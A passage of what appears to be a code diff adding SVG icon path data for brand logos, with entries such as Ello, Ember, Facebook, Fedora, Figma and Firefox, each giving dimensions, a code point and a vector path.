22.4-22.4V54.4C448 42 438 32 425.6 32M164.3 355.5h-39.8v-199h39.8v199zm159.3 0H204.1v-39.8h119.5v39.8zm0-79.6H204.1v-39.8h119.5v39.8zm0-79.7H204.1v-39.8h119.5v39.8z"], + "ello": [496, 512, [], "f5f1", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z"], + "ember": [640, 512, [], "f423", "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z"], + "empire": [496, 512, [], "f1d1", "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z"], + "envira": [448, 512, [], "f299", "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z"], + "erlang": [640, 512, [], "f39d", "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z"], + "ethereum": [320, 512, [], "f42e", "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z"], + "etsy": [384, 512, [], "f2d7", "M384 348c-1.75 10.75-13.75 110-15.5 132-117.879-4.299-219.895-4.743-368.5 0v-25.5c45.457-8.948 60.627-8.019 61-35.25 1.793-72.322 3.524-244.143 0-322-1.029-28.46-12.13-26.765-61-36v-25.5c73.886 2.358 255.933 8.551 362.999-3.75-3.5 38.25-7.75 126.5-7.75 126.5H332C320.947 115.665 313.241 68 277.25 68h-137c-10.25 0-10.75 3.5-10.75 9.75V241.5c58 .5 88.5-2.5 88.5-2.5 29.77-.951 27.56-8.502 40.75-65.251h25.75c-4.407 101.351-3.91 61.829-1.75 160.25H257c-9.155-40.086-9.065-61.045-39.501-61.5 0 0-21.5-2-88-2v139c0 26 14.25 38.25 44.25 38.25H263c63.636 0 66.564-24.996 98.751-99.75H384z"], + "evernote": [384, 512, [], "f839", "M120.82 132.21c1.6 22.31-17.55 21.59-21.61 21.59-68.93 0-73.64-1-83.58 3.34-.56.22-.74 0-.37-.37L123.79 46.45c.38-.37.6-.22.38.37-4.35 9.99-3.35 15.09-3.35 85.39zm79 308c-14.68-37.08 13-76.93 52.52-76.62 17.49 0 22.6 23.21 7.95 31.42-6.19 3.3-24.95 1.74-25.14 19.2-.05 17.09 19.67 25 31.2 24.89A45.64 45.64 0 0 0 312 393.45v-.08c0-11.63-7.79-47.22-47.54-55.34-7.72-1.54-65-6.35-68.35-50.52-3.74 16.93-17.4 63.49-43.11 69.09-8.74 1.94-69.68 7.64-112.92-36.77 0 0-18.57-15.23-28.23-57.95-3.38-15.75-9.28-39.7-11.14-62 0-18 11.14-30.45 25.07-32.2 81 0 90 2.32 101-7.8 9.82-9.24 7.8-15.5 7.8-102.78 1-8.3 7.79-30.81 53.41-24.14 6 .86 31.91 4.18 37.48 30.64l64.26 11.15c20.43 3.71 70.94 7 80.6 57.94 22.66 121.09 8.91 238.46 7.8 238.46C362.15 485.53 267.06 480 267.06 480c-18.95-.23-54.25-9.4-67.27-39.83zm80.94-204.84c-1 1.92-2.2 6 .85 7 14.09 4.93 39.75 6.84 45.88 5.53 3.11-.25 3.05-4.43 2.48-6.65-3.53-21.85-40.83-26.5-49.24-5.92z"], + "expeditedssl": [496, 512, [], "f23e", "M248 43.4C130.6 43.4 35.4 138.6 35.4 256S130.6 468.6 248 468.6 460.6 373.4 460.6 256 365.4 43.4 248 43.4zm-97.4 132.9c0-53.7 43.7-97.4 97.4-97.4s97.4 43.7 97.4 97.4v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6c0-82.1-124-82.1-124 0v26.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-26.6zM389.7 380c0 9.7-8 17.7-17.7 17.7H124c-9.7 0-17.7-8-17.7-17.7V238.3c0-9.7 8-17.7 17.7-17.7h248c9.7 0 17.7 8 17.7 17.7V380zm-248-137.3v132.9c0 2.5-1.9 4.4-4.4 4.4h-8.9c-2.5 0-4.4-1.9-4.4-4.4V242.7c0-2.5 1.9-4.4 4.4-4.4h8.9c2.5 0 4.4 1.9 4.4 4.4zm141.7 48.7c0 13-7.2 24.4-17.7 30.4v31.6c0 5-3.9 8.9-8.9 8.9h-17.7c-5 0-8.9-3.9-8.9-8.9v-31.6c-10.5-6.1-17.7-17.4-17.7-30.4 0-19.7 15.8-35.4 35.4-35.4s35.5 15.8 35.5 35.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 478.3C121 486.3 17.7 383 17.7 256S121 25.7 248 25.7 478.3 129 478.3 256 375 486.3 248 486.3z"], + "facebook": [512, 512, [], "f09a", "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"], + "facebook-f": [320, 512, [], "f39e", "M279.14 288l14.22-92.66h-88.91v-60.13c0-25.35 12.42-50.06 52.24-50.06h40.42V6.26S260.43 0 225.36 0c-73.22 0-121.08 44.38-121.08 124.72v70.62H22.89V288h81.39v224h100.17V288z"], + "facebook-messenger": [512, 512, [], "f39f", "M256.55 8C116.52 8 8 110.34 8 248.57c0 72.3 29.71 134.78 78.07 177.94 8.35 7.51 6.63 11.86 8.05 58.23A19.92 19.92 0 0 0 122 502.31c52.91-23.3 53.59-25.14 62.56-22.7C337.85 521.8 504 423.7 504 248.57 504 110.34 396.59 8 256.55 8zm149.24 185.13l-73 115.57a37.37 37.37 0 0 1-53.91 9.93l-58.08-43.47a15 15 0 0 0-18 0l-78.37 59.44c-10.46 7.93-24.16-4.6-17.11-15.67l73-115.57a37.36 37.36 0 0 1 53.91-9.93l58.06 43.46a15 15 0 0 0 18 0l78.41-59.38c10.44-7.98 24.14 4.54 17.09 15.62z"], + "facebook-square": [448, 512, [], "f082", "M400 32H48A48 48 0 0 0 0 80v352a48 48 0 0 0 48 48h137.25V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.27c-30.81 0-40.42 19.12-40.42 38.73V256h68.78l-11 71.69h-57.78V480H400a48 48 0 0 0 48-48V80a48 48 0 0 0-48-48z"], + "fantasy-flight-games": [512, 512, [], "f6dc", "M256 32.86L32.86 256 256 479.14 479.14 256 256 32.86zM88.34 255.83c1.96-2 11.92-12.3 96.49-97.48 41.45-41.75 86.19-43.77 119.77-18.69 24.63 18.4 62.06 58.9 62.15 59 .68.74 1.07 2.86.58 3.38-11.27 11.84-22.68 23.54-33.5 34.69-34.21-32.31-40.52-38.24-48.51-43.95-17.77-12.69-41.4-10.13-56.98 5.1-2.17 2.13-1.79 3.43.12 5.35 2.94 2.95 28.1 28.33 35.09 35.78-11.95 11.6-23.66 22.97-35.69 34.66-12.02-12.54-24.48-25.53-36.54-38.11-21.39 21.09-41.69 41.11-61.85 60.99a42569.01 42569.01 0 0 1-41.13-40.72zm234.82 101.6c-35.49 35.43-78.09 38.14-106.99 20.47-22.08-13.5-39.38-32.08-72.93-66.84 12.05-12.37 23.79-24.42 35.37-36.31 33.02 31.91 37.06 36.01 44.68 42.09 18.48 14.74 42.52 13.67 59.32-1.8 3.68-3.39 3.69-3.64.14-7.24-10.59-10.73-21.19-21.44-31.77-32.18-1.32-1.34-3.03-2.48-.8-4.69 10.79-10.71 21.48-21.52 32.21-32.29.26-.26.65-.38 1.91-1.07 12.37 12.87 24.92 25.92 37.25 38.75 21.01-20.73 41.24-40.68 61.25-60.42 13.68 13.4 27.13 26.58 40.86 40.03-20.17 20.86-81.68 82.71-100.5 101.5zM256 0L0 256l256 256 256-256L256 0zM16 256L256 16l240 240-240 240L16 256z"], + "fedex": [640, 512, [], "f797", "M586 284.5l53.3-59.9h-62.4l-21.7 24.8-22.5-24.8H414v-16h56.1v-48.1H318.9V236h-.5c-9.6-11-21.5-14.8-35.4-14.8-28.4 0-49.8 19.4-57.3 44.9-18-59.4-97.4-57.6-121.9-14v-24.2H49v-26.2h60v-41.1H0V345h49v-77.5h48.9c-1.5 5.7-2.3 11.8-2.3 18.2 0 73.1 102.6 91.4 130.2 23.7h-42c-14.7 20.9-45.8 8.9-45.8-14.6h85.5c3.7 30.5 27.4 56.9 60.1 56.9 14.1 0 27-6.9 34.9-18.6h.5V345h212.2l22.1-25 22.3 25H640l-54-60.5zm-446.7-16.6c6.1-26.3 41.7-25.6 46.5 0h-46.5zm153.4 48.9c-34.6 0-34-62.8 0-62.8 32.6 0 34.5 62.8 0 62.8zm167.8 19.1h-94.4V169.4h95v30.2H405v33.9h55.5v28.1h-56.1v44.7h56.1v29.6zm-45.9-39.8v-24.4h56.1v-44l50.7 57-50.7 57v-45.6h-56.1zm138.6 10.3l-26.1 29.5H489l45.6-51.2-45.6-51.2h39.7l26.6 29.3 25.6-29.3h38.5l-45.4 51 46 51.4h-40.5l-26.3-29.5z"], + "fedora": [448, 512, [], "f798", "M225 32C101.3 31.7.8 131.7.4 255.4L0 425.7a53.6 53.6 0 0 0 53.6 53.9l170.2.4c123.7.3 224.3-99.7 224.6-223.4S348.7 32.3 225 32zm169.8 157.2L333 126.6c2.3-4.7 3.8-9.2 3.8-14.3v-1.6l55.2 56.1a101 101 0 0 1 2.8 22.4zM331 94.3a106.06 106.06 0 0 1 58.5 63.8l-54.3-54.6a26.48 26.48 0 0 0-4.2-9.2zM118.1 247.2a49.66 49.66 0 0 0-7.7 11.4l-8.5-8.5a85.78 85.78 0 0 1 16.2-2.9zM97 251.4l11.8 11.9-.9 8a34.74 34.74 0 0 0 2.4 12.5l-27-27.2a80.6 80.6 0 0 1 13.7-5.2zm-18.2 7.4l38.2 38.4a53.17 53.17 0 0 0-14.1 4.7L67.6 266a107 107 0 0 1 11.2-7.2zm-15.2 9.8l35.3 35.5a67.25 67.25 0 0 0-10.5 8.5L53.5 278a64.33 64.33 0 0 1 10.1-9.4zm-13.3 12.3l34.9 35a56.84 56.84 0 0 0-7.7 11.4l-35.8-35.9c2.8-3.8 5.7-7.2 8.6-10.5zm-11 14.3l36.4 36.6a48.29 48.29 0 0 0-3.6 15.2l-39.5-39.8a99.81 99.81 0 0 1 6.7-12zm-8.8 16.3l41.3 41.8a63.47 63.47 0 0 0 6.7 26.2L25.8 326c1.4-4.9 2.9-9.6 4.7-14.5zm-7.9 43l61.9 62.2a31.24 31.24 0 0 0-3.6 14.3v1.1l-55.4-55.7a88.27 88.27 0 0 1-2.9-21.9zm5.3 30.7l54.3 54.6a28.44 28.44 0 0 0 4.2 9.2 106.32 106.32 0 0 1-58.5-63.8zm-5.3-37a80.69 80.69 0 0 1 2.1-17l72.2 72.5a37.59 37.59 0 0 0-9.9 8.7zm253.3-51.8l-42.6-.1-.1 56c-.2 69.3-64.4 115.8-125.7 102.9-5.7 0-19.9-8.7-19.9-24.2a24.89 24.89 0 0 1 24.5-24.6c6.3 0 6.3 1.6 15.7 1.6a55.91 55.91 0 0 0 56.1-55.9l.1-47c0-4.5-4.5-9-8.9-9l-33.6-.1c-32.6-.1-32.5-49.4.1-49.3l42.6.1.1-56a105.18 105.18 0 0 1 105.6-105 86.35 86.35 0 0 1 20.2 2.3c11.2 1.8 19.9 11.9 19.9 24 0 15.5-14.9 27.8-30.3 23.9-27.4-5.9-65.9 14.4-66 54.9l-.1 47a8.94 8.94 0 0 0 8.9 9l33.6.1c32.5.2 32.4 49.5-.2 49.4zm23.5-.3a35.58 35.58 0 0 0 7.6-11.4l8.5 8.5a102 102 0 0 1-16.1 2.9zm21-4.2L308.6 280l.9-8.1a34.74 34.74 0 0 0-2.4-12.5l27 27.2a74.89 74.89 0 0 1-13.7 5.3zm18-7.4l-38-38.4c4.9-1.1 9.6-2.4 13.7-4.7l36.2 35.9c-3.8 2.5-7.9 5-11.9 7.2zm15.5-9.8l-35.3-35.5a61.06 61.06 0 0 0 10.5-8.5l34.9 35a124.56 124.56 0 0 1-10.1 9zm13.2-12.3l-34.9-35a63.18 63.18 0 0 0 7.7-11.4l35.8 35.9a130.28 130.28 0 0 1-8.6 10.5zm11-14.3l-36.4-36.6a48.29 48.29 0 0 0 3.6-15.2l39.5 39.8a87.72 87.72 0 0 1-6.7 12zm13.5-30.9a140.63 140.63 0 0 1-4.7 14.3L345.6 190a58.19 58.19 0 0 0-7.1-26.2zm1-5.6l-71.9-72.1a32 32 0 0 0 9.9-9.2l64.3 64.7a90.93 90.93 0 0 1-2.3 16.6z"], + "figma": [384, 512, [], "f799", "M14 95.7924C14 42.8877 56.8878 0 109.793 0H274.161C327.066 0 369.954 42.8877 369.954 95.7924C369.954 129.292 352.758 158.776 326.711 175.897C352.758 193.019 369.954 222.502 369.954 256.002C369.954 308.907 327.066 351.795 274.161 351.795H272.081C247.279 351.795 224.678 342.369 207.666 326.904V415.167C207.666 468.777 163.657 512 110.309 512C57.5361 512 14 469.243 14 416.207C14 382.709 31.1945 353.227 57.2392 336.105C31.1945 318.983 14 289.5 14 256.002C14 222.502 31.196 193.019 57.2425 175.897C31.196 158.776 14 129.292 14 95.7924ZM176.288 191.587H109.793C74.2172 191.587 45.3778 220.427 45.3778 256.002C45.3778 291.44 73.9948 320.194 109.381 320.416C109.518 320.415 109.655 320.415 109.793 320.415H176.288V191.587ZM207.666 256.002C207.666 291.577 236.505 320.417 272.081 320.417H274.161C309.737 320.417 338.576 291.577 338.576 256.002C338.576 220.427 309.737 191.587 274.161 191.587H272.081C236.505 191.587 207.666 220.427 207.666 256.002ZM109.793 351.795C109.655 351.795 109.518 351.794 109.381 351.794C73.9948 352.015 45.3778 380.769 45.3778 416.207C45.3778 451.652 74.6025 480.622 110.309 480.622C146.591 480.622 176.288 451.186 176.288 415.167V351.795H109.793ZM109.793 31.3778C74.2172 31.3778 45.3778 60.2173 45.3778 95.7924C45.3778 131.368 74.2172 160.207 109.793 160.207H176.288V31.3778H109.793ZM207.666 160.207H274.161C309.737 160.207 338.576 131.368 338.576 95.7924C338.576 60.2173 309.737 31.3778 274.161 31.3778H207.666V160.207Z"], + "firefox": [512, 512, [], "f269", "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z"], + "firefox-browser": [512, 512, [], "e007", "M189.37,152.86Zm-58.74-29.37C130.79,123.5,130.71,123.5,130.63,123.49Zm351.42,45.35c-10.61-25.5-32.08-53-48.94-61.73,13.72,26.89,21.67,53.88,24.7,74,0,0,0,.14.05.41-27.58-68.75-74.35-96.47-112.55-156.83-1.93-3.05-3.86-6.11-5.74-9.33-1-1.65-1.86-3.34-2.69-5.05A44.88,44.88,0,0,1,333.24.69a.63.63,0,0,0-.55-.66.9.9,0,0,0-.46,0l-.12.07-.18.1.1-.14c-54.23,31.77-76.72,87.38-82.5,122.78a130,130,0,0,0-48.33,12.33,6.25,6.25,0,0,0-3.09,7.75,6.13,6.13,0,0,0,7.79,3.79l.52-.21a117.84,117.84,0,0,1,42.11-11l1.42-.1c2-.12,4-.2,6-.22A122.61,122.61,0,0,1,291,140c.67.2,1.32.42,2,.63,1.89.57,3.76,1.2,5.62,1.87,1.36.5,2.71,1,4.05,1.58,1.09.44,2.18.88,3.25,1.35q2.52,1.13,5,2.35c.75.37,1.5.74,2.25,1.13q2.4,1.26,4.74,2.63,1.51.87,3,1.8a124.89,124.89,0,0,1,42.66,44.13c-13-9.15-36.35-18.19-58.82-14.28,87.74,43.86,64.18,194.9-57.39,189.2a108.43,108.43,0,0,1-31.74-6.12c-2.42-.91-4.8-1.89-7.16-2.93-1.38-.63-2.76-1.27-4.12-2C174.5,346,149.9,316.92,146.83,281.59c0,0,11.25-41.95,80.62-41.95,7.5,0,28.93-20.92,29.33-27-.09-2-42.54-18.87-59.09-35.18-8.85-8.71-13.05-12.91-16.77-16.06a69.58,69.58,0,0,0-6.31-4.77A113.05,113.05,0,0,1,173.92,97c-25.06,11.41-44.55,29.45-58.71,45.37h-.12c-9.67-12.25-9-52.65-8.43-61.08-.12-.53-7.22,3.68-8.15,4.31a178.54,178.54,0,0,0-23.84,20.43A214,214,0,0,0,51.9,133.36l0,0a.08.08,0,0,1,0,0,205.84,205.84,0,0,0-32.73,73.9c-.06.27-2.33,10.21-4,22.48q-.42,2.87-.78,5.74c-.57,3.69-1,7.71-1.44,14,0,.24,0,.48-.05.72-.18,2.71-.34,5.41-.49,8.12,0,.41,0,.82,0,1.24,0,134.7,109.21,243.89,243.92,243.89,120.64,0,220.82-87.58,240.43-202.62.41-3.12.74-6.26,1.11-9.41,4.85-41.83-.54-85.79-15.82-122.55Z"], + "first-order": [448, 512, [], "f2b0", "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z"], + "first-order-alt": [496, 512, [], "f50a", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 